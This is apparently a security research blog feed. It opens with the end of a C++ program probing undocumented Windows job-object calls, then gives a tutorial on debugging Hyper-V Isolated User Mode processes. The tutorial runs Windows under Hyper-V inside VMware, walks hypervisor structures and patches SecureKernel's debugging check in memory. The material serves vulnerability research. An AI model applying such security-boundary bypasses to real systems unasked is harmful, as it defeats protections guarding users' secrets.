<span class="w"> </span><span class="n">UINT64</span><span class="w"> </span><span class="n">ObjectInformation2</span><span class="p">[]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="mh">0x0400000</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="p">};</span><span class="w"></span>
<span class="w"> </span><span class="n">PUNICODE_STRING</span><span class="w"> </span><span class="n">ObjectInformation4</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="p">};</span><span class="w"></span>
<span class="w"> </span><span class="n">ObjectInformation4</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">PUNICODE_STRING</span><span class="p">)</span><span class="n">malloc</span><span class="p">(</span><span class="k">sizeof</span><span class="p">(</span><span class="n">UNICODE_STRING</span><span class="p">));</span><span class="w"></span>
<span class="w"> </span><span class="n">pRtlCreateUnicodeString</span><span class="p">(</span><span class="n">ObjectInformation4</span><span class="p">,</span><span class="w"> </span><span class="sa">L</span><span class="s">"C:</span><span class="se">\\</span><span class="s">Windows"</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="n">UINT64</span><span class="w"> </span><span class="n">ObjectInformation5</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="mi">2</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="p">};</span><span class="w"></span>
<span class="w"> </span><span class="n">Status</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">pNtSetInformationJobObject</span><span class="p">(</span><span class="n">hJob</span><span class="p">,</span><span class="w"> </span><span class="p">(</span><span class="n">JOBOBJECTINFOCLASS</span><span class="p">)</span><span class="mh">0x2C</span><span class="p">,</span><span class="w"> </span><span class="n">ObjectInformation1</span><span class="p">,</span><span class="w"> </span><span class="k">sizeof</span><span class="p">(</span><span class="n">ObjectInformation1</span><span class="p">));</span><span class="w"></span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">Status</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="mi">0</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"Error 'pNtSetInformationJobObject' 1: %x</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="n">Status</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="mi">1</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="p">}</span><span class="w"></span>
<span class="w"> </span><span class="n">Status</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">pNtSetInformationJobObject</span><span class="p">(</span><span class="n">hJob</span><span class="p">,</span><span class="w"> </span><span class="p">(</span><span class="n">JOBOBJECTINFOCLASS</span><span class="p">)</span><span class="mh">0x9</span><span class="p">,</span><span class="w"> </span><span class="n">ObjectInformation2</span><span class="p">,</span><span class="w"> </span><span class="k">sizeof</span><span class="p">(</span><span class="n">ObjectInformation2</span><span class="p">));</span><span class="w"></span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">Status</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="mi">0</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"Error 'pNtSetInformationJobObject' 2: %x</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="n">Status</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="mi">1</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="p">}</span><span class="w"></span>
<span class="w"> </span><span class="n">Status</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">pNtSetInformationJobObject</span><span class="p">(</span><span class="n">hJob</span><span class="p">,</span><span class="w"> </span><span class="p">(</span><span class="n">JOBOBJECTINFOCLASS</span><span class="p">)</span><span class="mh">0x23</span><span class="p">,</span><span class="w"> </span><span class="nb">NULL</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">Status</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="mi">0</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"Error 'pNtSetInformationJobObject' 3: %x</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="n">Status</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="mi">1</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="p">}</span><span class="w"></span>
<span class="w"> </span><span class="n">Status</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">pNtSetInformationJobObject</span><span class="p">(</span><span class="n">hJob</span><span class="p">,</span><span class="w"> </span><span class="p">(</span><span class="n">JOBOBJECTINFOCLASS</span><span class="p">)</span><span class="mh">0x2d</span><span class="p">,</span><span class="w"> </span><span class="n">ObjectInformation4</span><span class="p">,</span><span class="w"> </span><span class="mh">0x10</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">Status</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="mi">0</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"Error 'pNtSetInformationJobObject' 4: %x</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="n">Status</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="mi">1</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="p">}</span><span class="w"></span>
<span class="w"> </span><span class="n">Status</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">pNtAssignProcessToJobObject</span><span class="p">(</span><span class="n">hJob</span><span class="p">,</span><span class="w"> </span><span class="p">(</span><span class="n">HANDLE</span><span class="p">)</span><span class="mh">0x0FFFFFFFFFFFFFFF9</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">Status</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="mi">0</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"Error 'AssignProcessToJobObject': %x</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="n">Status</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="mi">1</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="p">}</span><span class="w"></span>
<span class="w"> </span><span class="n">Status</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">pNtSetInformationJobObject</span><span class="p">(</span><span class="n">hJob</span><span class="p">,</span><span class="w"> </span><span class="p">(</span><span class="n">JOBOBJECTINFOCLASS</span><span class="p">)</span><span class="mh">0x25</span><span class="p">,</span><span class="w"> </span><span class="n">ObjectInformation5</span><span class="p">,</span><span class="w"> </span><span class="k">sizeof</span><span class="p">(</span><span class="n">ObjectInformation5</span><span class="p">));</span><span class="w"></span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">Status</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="mi">0</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"Error 'pNtSetInformationJobObject': 5 %x</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="n">Status</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="mi">1</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="p">}</span><span class="w"></span>
<span class="w"> </span><span class="n">std</span><span class="o">::</span><span class="n">cout</span><span class="w"> </span><span class="o"><<</span><span class="w"> </span><span class="s">"Press enter to exit..."</span><span class="w"> </span><span class="o"><<</span><span class="w"> </span><span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="n">std</span><span class="o">::</span><span class="n">cin</span><span class="p">.</span><span class="n">ignore</span><span class="p">();</span><span class="w"></span>
<span class="w"> </span><span class="n">CloseHandle</span><span class="p">(</span><span class="n">hJob</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="n">EXIT_SUCCESS</span><span class="p">;</span><span class="w"></span>
<span class="p">}</span><span class="w"></span>
</code></pre></div>Debugging Windows Isolated User Mode (IUM) Processes2023-09-07T00:00:00+02:002023-09-07T00:00:00+02:00Francisco Falcontag:blog.quarkslab.com,2023-09-07:/debugging-windows-isolated-user-mode-ium-processes.html<p>In this blog post we discuss how to debug Windows' Isolated User Mode (IUM) processes, also known as <em>Trustlets</em>, using the virtual TPM of Microsoft Hyper-V as our target.</p><h2>Introduction</h2>
<p>A few months ago I wrote about <a href="https://blog.quarkslab.com/vulnerabilities-in-the-tpm-20-reference-implementation-code.html">two vulnerabilities I found in the TPM 2.0 reference implementation code</a>. While trying to verify if the virtual TPM of Microsoft's Hyper-V was affected, I found that this virtual component runs as an Isolated User Mode (IUM) process, which means that it's not possible to attach a debugger to it, not even having elevated privileges.
After looking for information on how to debug this kind of processes, I found slices of data scattered around the Internet, but no clear instructions about how to do it. After putting all the pieces together, I decided to write this in the hope that someone else doing research will find it useful.</p>
<h2>Virtual Secure Mode and Virtual Trust Levels</h2>
<p>Before even talking about IUM processes, it's mandatory to understand Virtual Secure Mode (VSM) and Virtual Trust Levels (VTLs).</p>
<p><a href="https://learn.microsoft.com/en-us/virtualization/hyper-v-on-windows/tlfs/vsm">Virtual Secure Mode</a> is a set of hypervisor features that allow the creation of isolated memory regions where secrets are saved and sensitive code runs safely. VSM builds a new security boundary that restricts even code running in kernel mode from accessing the protected memory regions. VSM is what makes Windows security features such as <em>Device Guard</em> and <em>Credential Guard</em> possible.</p>
<p>VSM achieves isolation of protected memory regions via VTLs, which introduce two levels of trust that are orthogonal to protection rings: VTL0 is the <em>Normal World</em>, where the traditional kernel-mode and user-mode code run in ring 0 and ring 3, respectively. On top of that, a new world appears: VTL1 is the privileged <em>Secure World</em>, where the Secure Kernel runs in ring 0, and a limited number of IUM processes run in ring 3. Code running in VTL0, even in ring 0, cannot access the higher-privileged VTL1. With this architecture, even if an attacker manages to achieve kernel-mode code execution in the <em>Normal World</em>, the assets in the <em>Secure World</em> (such as the secrets stored in a virtual TPM, running as an IUM process in VTL1) remain uncompromised.</p>
<p>The following diagram taken from Microsoft's documentation illustrates the architecture described above, with the two privilege-separated VTLs having their own separate kernel-mode and user-mode.</p>
<p><center>
<img src="resources/2023-08-29_debugging-windows-ium-processes/ium-architecture.png" style="border:none" width="100%">
<i>Image taken from https://learn.microsoft.com/en-us/windows/win32/procthread/isolated-user-mode--ium--processes</i>
</center></p>
<p>For a deep dive into Virtual Trust Levels, I strongly recommend reading <a href="https://blog.quarkslab.com/a-virtual-journey-from-hardware-virtualization-to-hyper-vs-virtual-trust-levels.html">A virtual journey: From hardware virtualization to Hyper-V's Virtual Trust Levels</a> by <a href="https://twitter.com/lychnis42">Salma El Mohib</a>.</p>
<h2>Isolated User Mode processes</h2>
<p>Finally, <a href="https://learn.microsoft.com/en-us/windows/win32/procthread/isolated-user-mode--ium--processes">IUM processes</a> are programs running in user-mode within VTL1. As such, they cannot be accessed from the <em>Normal World</em>. Typical examples of IUM processes are Hyper-V's virtual TPM, and the isolated version of LSASS (<code>LSAIso.exe</code>) when Credential Guard is enabled.</p>
<h2>Nested virtualization setup</h2>
<p>It is possible to debug Hyper-V's hypervisor by using a nested virtualization environment. Microsoft describes a procedure <a href="https://msrc.microsoft.com/blog/2018/12/first-steps-in-hyper-v-research/">using two nested instances of Hyper-V</a> and two instances of Windbg, but for some reason I didn't manage to make it work. So I resorted to an alternative solution: I used VMware Workstation to run a Windows guest (let's call it the Level 1 VM) with the Hyper-V role installed. This Level 1 VM, in turn, uses Hyper-V to run a nested Windows guest (let's call it the Level 2 VM), which has a virtual TPM device installed (the IUM process we want to debug).</p>
<p>By <a href="https://www.triplefault.io/2017/07/setup-vmm-debugging-using-vmwares-gdb_9.html">enabling the GDB stub of VMware workstation</a>, we can attach the IDA Pro debugger to it. This allows us to debug the Hyper-V hypervisor running in the Level 1 VM.
The following picture illustrates our setup:</p>
<p><center>
<a href="resources/2023-08-29_debugging-windows-ium-processes/nested-virtualization.png">
<img src="resources/2023-08-29_debugging-windows-ium-processes/nested-virtualization.png" style="border:none" width="70%">
</a>
<br>
<i>(Click to enlarge the image)</i>
</center></p>
<h2>Overview of the process</h2>
<p>This section outlines the steps we need to follow in order to debug an IUM process:</p>
<ol>
<li>Locate the handler for the <code>HvCallVtlReturn</code> hypercall in the main hypervisor binary (<code>hvix64.exe</code>). </li>
<li>Attach the IDA Pro debugger to the VMware Workstation GDB stub. Determine the base address where <code>hvix64.exe</code> is loaded. Put a breakpoint on the hypercall handler identified in <em>Step 1</em>.</li>
<li>When the breakpoint is hit, follow a series of Hyper-V structures to retrieve the value of the RSP register in the VTL1 context at the moment the hypercall was triggered.</li>
<li>Convert the virtual address held in the RSP register to its corresponding physical address. Retrieve the return address stored at the top of the stack. This (virtual) return address points into the <code>SecureKernel.exe</code> binary (the VTL1 kernel).</li>
<li>Convert the virtual return address to its corresponding physical address. Scan memory backwards looking for the <code>SecureKernel.exe</code> PE header to obtain the physical base address of this binary.</li>
<li>Patch the epilogue of function <code>SecureKernel!SkpsIsProcessDebuggingEnabled</code> in physical memory to force it to always return <code>1</code>. This in-memory patch is what ultimately allows us to attach a debugger to an IUM process.</li>
</ol>
<h2>Locating the HvCallVtlReturn hypercall handler</h2>
<p>An <a href="https://learn.microsoft.com/en-us/virtualization/hyper-v-on-windows/tlfs/hypercall-interface">hypercall</a> is a calling mechanism that a guest OS can use to invoke some functionality exposed by the hypervisor. The <code>hvix64.exe</code> binary I'm using here defines the handlers for 238 of them. There are no public symbols available for <code>hvix64.exe</code>, but the <a href="https://github.com/gerhart01/Hyper-V-scripts/blob/master/ida75/ida75_CreatemVmcallHandlersTable21H1.py">IDAPython script</a> by <a href="https://twitter.com/gerhart_x">Gerhart_x</a> allows to easily identify the handlers for the supported hypercalls. Note that you may have to update this script to support newer versions, if needed.</p>
<p>We are interested in identifying the handler for hypercall 0x12 (<code>HvCallVtlReturn</code>). This hypercall generates a "VTL return", that is, when a higher VTL (VTL1) initiates a switch into a lower VTL (VTL0).</p>
<p>In the <code>hvix64.exe</code> binary I'm analyzing, the script locates our handler of interest at <code>0xfffff8000022c760</code>:</p>
<div class="highlight"><pre><span></span><code>Address of HvCallTable is 0xfffff80000c00000
Hypercalls count in file: 0xee
Windows 10 (20H1, 21H1)
entry 0x1: 0xfffff8000028e930 (HvCall_SwitchVirtualAddressSpace)
entry 0x2: 0xfffff800002235c0 (HvCall_FlushVirtualAddressSpace)
entry 0x3: 0xfffff80000221ad0 (HvCall_FlushVirtualAddressList)
entry 0x4: 0xfffff8000028f660 (HvCall_GetLogicalProcessorRunTime)
entry 0x5: 0xfffff80000290640 (HvCall_UpdateHvProcessorFeatures)
entry 0x6: 0xfffff8000028a560 (HvCall_SwitchAliasMap)
entry 0x7: 0xfffff80000290830 (HvCall_UpdateMicrocodeDatabase)
entry 0x8: 0xfffff8000021b950 (HvCall_NotifyLongSpinWait)
entry 0x9: 0xfffff8000028f880 (HvCall_ParkedLogicalProcessors)
entry 0xa: 0xfffff80000291000 (HvCall_InvokeHypervisorDebugger)
entry 0xb: 0xfffff80000220bb0 (HvCall_SendSyntheticClusterIpi)
entry 0xc: 0xfffff8000028de90 (HvCall_ModifyVtlProtectionMask)
entry 0xd: 0xfffff800002928e0 (HvCall_EnablePartitionVtl)
entry 0xe: 0xfffff80000292780 (HvCall_DisablePartitionVtl)
entry 0xf: 0xfffff800002929e0 (HvCall_EnableVpVtl)
entry 0x10: 0xfffff80000292830 (HvCall_DisableVpVtl)
entry 0x11: 0xfffff8000022d3f0 (HvCall_VtlCall)
entry 0x12: 0xfffff8000022c760 (HvCall_VtlReturn)
[...]
</code></pre></div>
<p>The script will take care of automatically renaming all the hypercall handlers. The handler function we are interested in will be renamed to <code>HvCall_VtlReturn</code>.</p>
<p><center>
<img src="resources/2023-08-29_debugging-windows-ium-processes/HvCall_VtlReturn.png" style="border:none" width="70%">
</center></p>
<h2>Debugging the hypervisor</h2>
<p>By following the instructions <a href="https://www.triplefault.io/2017/07/setup-vmm-debugging-using-vmwares-gdb_9.html">detailed here</a> it is possible to enable VMware Workstation's GDB stub to debug the Hyper-V hypervisor running in the Level 1 VM, using IDA Pro as our debugger.</p>
<p>Once you have your IDA Pro debugger attached to the Hyper-V's hypervisor that is booting up inside VMware, IDA will warn you that the GDB stub doesn't provide information about the memory layout of the target, and as such, memory contents may be invisible.</p>
<p><center>
<img src="resources/2023-08-29_debugging-windows-ium-processes/warning-memory-regions.png" style="border:none" width="60%">
</center></p>
<p>Due to this, you'll need to add a manual memory region, so that the debugger can access the whole address space of the debugee. For simplicity, you can open the <em>Debugger</em> -> <em>Manual memory regions</em> menu, and create a 64-bit area starting at address 0, and ending at address <code>0xfffffffffffffffe</code>.</p>
<p><center>
<img src="resources/2023-08-29_debugging-windows-ium-processes/manual-memory-region.png" style="border:none" width="50%">
</center></p>
<p>Next, you want to determine the base address at which <code>hvix64.exe</code> is loaded, in order to properly rebase your <code>hvix64.exe</code> IDB in IDA. For this step I'm using the <a href="https://github.com/Cr4sh/IDA-VMware-GDB/blob/master/IDA-VMware-GDB.py">IDA-VMware-GDB.py script</a> by <a href="https://twitter.com/d_olex">Dmytro Oleksiuk</a>. This IDAPython script determines the base address of the kernel (the hypervisor in this case) by obtaining the address of the first Interrupt Service Routine in the IDT (which typically points to <code>nt!KiDivideErrorFault</code> when debugging a regular NT kernel), and then scanning backwards, aligned to a page size, looking for the PE header that should mark the start of the <code>hvix64.exe</code> module in memory.</p>
<p>Be mindful that when you pause your VM to run this script, if the current virtual processor happens to be executing in VTL0 context, the IDT could be the wrong one (i.e. it would have entries pointing to the regular NT kernel, not to the <code>SecureKernel</code>). In that case, try switching processors by means of the <em>Threads</em> window in the IDA Pro debugger, and run the script again. To avoid problems arising from a wrong IDT, I added some extra checks to the script to be sure that the PE header that it finds actually matches the PE header of the <code>SecureKernel.exe</code> binary.</p>
<p>After obtaining the base address of <code>hvix64.exe</code>, you can rebase your module in IDA. Before rebasing, and to prevent this process from taking forever, I recommend temporarily removing the huge memory area we previously added in the <em>Manual memory regions</em> window of the IDA debugger. Once the image is fully rebased, add back the huge memory region (from address 0 to 0xfffffffffffffffe), and put a breakpoint on <code>hvix64!HvCall_VtlReturn</code>.</p>
<h2>Getting the base address of the SecureKernel</h2>
<p>When the breakpoint at <code>hvix64!HvCall_VtlReturn</code> is hit, it means that the virtual processor (VP) that triggered this hypercall is currently in VTL1 context, trying to transition into VTL0. We also know that hypercalls are originated from kernel mode. So, when <code>hvix64!HvCall_VtlReturn</code> is hit, we know for a fact that this hypercall was invoked from <code>SecureKernel.exe</code> (the VTL1 kernel), and therefore the VP that made the hypercall must have pointers to the <code>SecureKernel.exe</code> module in its registers. The first obvious thing would be to check out the RIP register, however the <code>VMCALL</code> instruction that triggers the hypercall happens to be in a trampoline area outside of <code>SecureKernel.exe</code>, so the RIP register doesn't help us here.</p>
<p>In my tests, the trampoline to invoke the <code>HvCallVtlReturn</code> hypercall can come from two different variables: <code>SecureKernel!ShvlpVtlReturn</code> and <code>SecureKernel!HvcallCodeVa</code>.</p>
<p><center>
<img src="resources/2023-08-29_debugging-windows-ium-processes/trampoline1.png" style="border:none" width="60%">
</center></p>
<p><center>
<img src="resources/2023-08-29_debugging-windows-ium-processes/trampoline2.png" style="border:none" width="60%">
</center></p>
<p>So, we need to try something else. Since the hypercall trampoline is invoked via a call (see the previous picture), we could obtain the value of the RSP register, and then retrieve the return address from the top of the stack, which should point to the instruction following the <code>call rax</code> depicted above (i.e. to <code>SkpReturnFromNormalMode</code>).</p>
<p>In order to retrieve the value of the RSP register of the current VP, we can follow a series of Hyper-V structures.</p>
<h3>Finding the VMCS structure</h3>
<p>From <a href="https://blog.quarkslab.com/a-virtual-journey-from-hardware-virtualization-to-hyper-vs-virtual-trust-levels.html">Salma's blog post</a> we know that there's a number of important Hyper-V structures that are linked, such as <code>Partition</code>, <code>VP</code>, <code>VTL</code>, <code>State</code> and <code>VMCS</code>:</p>
<p><center>
<img src="resources/2023-08-29_debugging-windows-ium-processes/Hvstructs.png" style="border:none" width="100%">
</center></p>
<p>It's important to note that these are undocumented structures, and as such the offsets specified there can vary between Windows versions, and even between patch levels.</p>
<p>Our main goal is to locate the <em>Virtual Machine Controlling Structure</em> (<code>VMCS</code>), which holds important information regarding a virtual processor state, such as the values of the CR3, RIP, and RSP registers of the guest. </p>
<p>Salma's blog post shows that, in order to locate all these structures we need, it's a good idea to start by searching for occurrences of the <a href="https://www.felixcloutier.com/x86/vmptrld">vmptrld instruction</a>, which loads the current-VMCS pointer with the physical address specified in the instruction operand. I found out that locating the following code pattern provides the easier way to figure out all the offsets we need:</p>
<p><center>
<img src="resources/2023-08-29_debugging-windows-ium-processes/offsets.png" style="border:none" width="80%">
</center></p>
<ul>
<li><code>vmptrld</code> loads the physical address of the VMCS from <code>[rcx + 0x188]</code>. From this we know that <code>rcx</code> points to the <code>State</code> structure, and that the offset of the <code>VMCS_physical</code> member within the <code>State</code> struct is <code>0x188</code>.</li>
<li>If we backtrack the origin of <code>rcx</code> (<code>State</code> struct), we can see that it comes from <code>rbx + 0xE90</code>. So, <code>rbx</code> must be a pointer to a <code>VTL</code> structure, and the offset of the <code>state</code> member of the <code>VTL</code> structure is <code>0xE90</code>.</li>
<li>If we backtrack the origin of <code>rbx</code> (<code>VTL</code> structure), we see that it originate from <code>rdx + rax*8 + 0x2A8</code>. So, <code>rdx</code> is a pointer to a <code>VP</code> structure, and 0x2A8 is the offset of the array of the two <code>VTL</code> members (<code>VTL0</code> and <code>VTL1</code>).</li>
</ul>
<p>In short:</p>
<ul>
<li><code>VP + 0x2A8</code> = <code>VP.VTLs[0]</code>;</li>
<li><code>VP + 0x2B0</code> = <code>VP.VTLs[1]</code>;</li>
<li><code>VTL + 0xE90</code> = <code>VTL.State</code>;</li>
<li><code>State + 0x188</code> = <code>State.VMCS_physical</code>.</li>
</ul>
<p><strong>NOTE</strong>: the offsets listed above may vary if you're analyzing a different version of <code>hvix64.exe</code>. Be sure to identify the proper offsets for your version of this binary.</p>
<p>I noticed that, when hitting the <code>hvix64!HvCall_VtlReturn</code> function, the initial value of RCX points to the <code>VP</code> structure. So, for our purposes, we will be able to follow the pointers to ultimately locate the relevant <code>VMCS</code> structure from this <code>VP</code> struct, without taking care of the first struct in the chain shown in the picture (<code>Partition</code>).</p>
<h3>Finding RSP and CR3 registers within VMCS</h3>
<p>We are searching for the value of the RSP register within the VMCS. But, since we'll want to convert some virtual addresses into physical addresses, we'll also need the value of the CR3 register to perform the page walk.</p>
<p>Starting from the initial value of RCX when the breakpoint at <code>hvix64!HvCall_VtlReturn</code>, we can follow the chain of pointers (RCX + 0x2B0 -> +0xE90 -> +0x188). You will notice that the last pointer in the chain (<code>State.VMCS_physical</code>) is, as expected, a physical address, unlike the previous pointers.</p>
<p><center>
<img src="resources/2023-08-29_debugging-windows-ium-processes/vmcs-physical-address.png" style="border:none" width="60%">
</center></p>
<p>To follow this last pointer in order to inspect the VMCS, you need to use the <code>phys</code> command, to make the GDB monitor switch to physical addressing mode.</p>
<p><center>
<img src="resources/2023-08-29_debugging-windows-ium-processes/switch-to-phys.png" style="border:none" width="60%">
</center></p>
<p>By exploring the layout of the big VMCS structure, I spotted the needed registers:</p>
<ul>
<li>CR3 register is located at offset <code>0x8B0</code> (value <code>0x04C00002</code>, in yellow);</li>
<li>RSP register is located at offset <code>0x918</code> (value <code>0xFFFFF80758344EC8</code>, in green);</li>
<li>RIP register is located at offset <code>0x920</code> (value <code>0xFFFFF80758310035</code>, in red - highlighted for reference, not really needed).</li>
</ul>
<p><center>
<img src="resources/2023-08-29_debugging-windows-ium-processes/VMCS-registers.png" style="border:none" width="60%">
</center></p>
<p><strong>NOTE</strong>: the offsets listed above may vary if you're analyzing a different version of <code>hvix64.exe</code>. Be sure to identify the proper offsets for your version of this binary.</p>
<p>Note that the RSP value is a virtual address, which makes sense in the VTL1 SecureKernel context that produced the hypercall, but not in the hypervisor we are debugging. In order to read the contents of that stack from the hypervisor, we need to translate that virtual address into a physical address.</p>
<h3>Doing the page walk</h3>
<p>To do the virtual-to-physical address translation of the RSP value, the typical <a href="https://blog.xenoscr.net/2021/09/06/Exploring-Virtual-Memory-and-Page-Structures.html">page table walk</a> must be done, starting from the physical address of the PML4 table, which is stored in the CR3 register that we just obtained from the VMCS in the previous section.</p>
<p>In the example from the previous section, the value of the RSP register was the virtual address <code>0xFFFFF80758344EC8</code>, which gets translated to physical address <code>0x3e24ec8</code>. By inspecting that physical address we observe that the return address stored at the top of the stack is the virtual address <code>0xFFFFF8075F460217</code>.</p>
<p><center>
<img src="resources/2023-08-29_debugging-windows-ium-processes/rsp-physical-address.png" style="border:none" width="60%">
</center></p>
<p>We translate this (virtual) return address <code>0xFFFFF8075F460217</code> to a physical address again, and the result is physical address <code>0x3e9a217</code>. The 2 bytes right before the return address are <code>0xFF 0xD0</code>, which can be disassembled as <code>CALL RAX</code>, meaning that we are on track.</p>
<p><center>
<img src="resources/2023-08-29_debugging-windows-ium-processes/return-address-physical.png" style="border:none" width="60%">
</center></p>
<p>This return address should already be a pointer somewhere within the <code>SecureKernel.exe</code> binary, more likely to an instruction following an indirect call to a trampoline that performed the hypercall. To locate the base address of <code>SecureKernel.exe</code> in a generic way we can simply scan memory backwards, in a page-aligned manner, looking for the PE header that should mark the start of the <code>SecureKernel.exe</code> module in memory.</p>
<h2>Enabling debugging</h2>
<p>We have located the base physical address of <code>SecureKernel.exe</code>. The last step is to <a href="https://www.blackhat.com/docs/us-17/wednesday/us-17-Bulygin-Fractured-Backbone-Breaking-Modern-OS-Defenses-With-Firmware-Attacks.pdf">modify the Securekernel!SkpsIsProcessDebuggingEnabled function</a>, which decides if debugging is enabled for a given IUM process, in order to make it always return <code>1</code>. The simplest solution is to patch the function epilogue in physical memory, replacing the <code>mov al, bl</code> instruction at the end by a <code>mov al, 1</code>.</p>
<p><center>
<img src="resources/2023-08-29_debugging-windows-ium-processes/SkpsIsProcessDebuggingEnabled.png" style="border:none" width="80%">
</center></p>
<p>Finally, after that, we can attach a debugger to our IUM process (<code>vmsp.exe</code> in this case, the <em>Virtual Machine Security Process</em>, which hosts the <code>TpmEngUM.dll</code> library that implements Hyper-V's virtual TPM).</p>
<p><center>
<img src="resources/2023-08-29_debugging-windows-ium-processes/vmsp.png" style="border:none" width="100%">
</center></p>
<p><center>
<img src="resources/2023-08-29_debugging-windows-ium-processes/windbg-attached.png" style="border:none" width="80%">
</center></p>
<h2>References</h2>
<p>The following resources were very helpful when trying to figure out all the steps needed to enable debugging of IUM processes.</p>
<ul>
<li><a href="https://blog.quarkslab.com/a-virtual-journey-from-hardware-virtualization-to-hyper-vs-virtual-trust-levels.html">A virtual journey: From hardware virtualization to Hyper-V's Virtual Trust Levels</a></li>
<li><a href="https://msrc.microsoft.com/blog/2018/12/first-steps-in-hyper-v-research/">First Steps in Hyper-V Research</a></li>
<li><a href="https://hvinternals.blogspot.com/2021/01/hyper-v-debugging-for-beginners-2nd.html">Hyper-V debugging for beginners. 2nd edition</a></li>
<li><a href="https://github.com/commial/experiments/tree/master/debugging-secure-kernel">Debugging Secure Kernel</a></li>
<li><a href="https://www.blackhat.com/docs/us-17/wednesday/us-17-Bulygin-Fractured-Backbone-Breaking-Modern-OS-Defenses-With-Firmware-Attacks.pdf">Fractured Backbone: Breaking Modern OS Defenses with Firmware Attacks</a></li>
<li><a href="https://www.amossys.fr/fr/ressources/blog-technique/virtualization-based-security-part2/">Virtualization Based Security - Part 2: kernel communications</a></li>
